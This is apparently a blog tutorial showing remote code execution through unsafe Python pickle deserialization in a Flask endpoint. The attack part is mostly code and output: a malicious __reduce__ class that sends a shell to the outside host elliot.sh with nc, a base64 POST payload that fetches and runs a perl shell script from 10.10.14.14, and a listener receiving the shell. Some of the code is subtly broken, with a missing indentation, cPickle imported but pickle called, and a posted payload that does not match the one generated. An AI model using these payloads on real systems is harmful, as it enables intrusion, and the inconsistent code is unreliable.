Pickle Arbitrary Code Execution

Published:

Pickle is a serialization/deserialization module located within the standard Python library. For those unfamiliar with serialization/deserialization; it is a way of converting objects and data structures to files or databases so that they can be reconstructed later (possibly in a different environment). This process is called serialization and deserialization, but in Python, it is instead called pickling and unpickling. The key thing to note is pickle pickle does not perform any “security checks” on the data that is being unpicked.

From the Pickle documentation:

Warning The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

To demonstrate why this can be problematic, consider the following function responsible for handling POST request data sent to /newpost

import cPickle
import base64

...

@app.route("/newpost", methods=["POST"])
def newpost():
  picklestr = base64.urlsafe_b64decode(request.data)
  postObj = pickle.loads(picklestr)
  return "POST RECEIVED: " + postObj['Subject']

...

The function will attempt to decode POST data base64 and unpickle whatever is in the base64 with pickle.loads(). Since pickle does not care for what is contained inside the object prior to unpickling, an attacker may simply construct a malicious pickle and feed it to the function which processes it, granting RCE in return.

The following code will serialize a pickle that, when unpickled, instructs the handler to execute an arbitrary bash command from system os which pickle will gladly import.

import cPickle
import base64


class MMM(object):
    def __reduce__(self):
    import os
    s = "/bin/sh -i 2>&1 | nc elliot.sh 443 > /tmp/f"
    return (os.popen, (s,))

payload = cPickle.dumps(MMM())
print payload

Resulting object

$ python pickle.py
cposix
popen
p1
(S'/bin/sh -i 2>&1 | nc elliot.sh 443 > /tmp/f'
p2
tRp3
.

Now we just need to base64 this and POST it to the vulnerable endpoint

POST /newpost HTTP/1.1
Host: example.com
Connection: close
Content-Length: 65

Y3Bvc2l4CnBvcGVuCnAxCihTJ3dnZXQgMTAuMTAuMTQuMTQvc2hlbGwucGwgLVAgL3RtcC87Y2htb2QgK3ggL3RtcC9zaGVsbC5wbDtwZXJsIC90bXAvc2hlbGwucGwnCnAyCnRScDMKLg==

As expected we get a shell

 $ nc -lnvp 443
listening on [any] 443 ...
connect to [18.197.212.241] from (UNKNOWN) [3.122.3.136] 52904
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1002(www) gid=1002(www) groups=1002(www)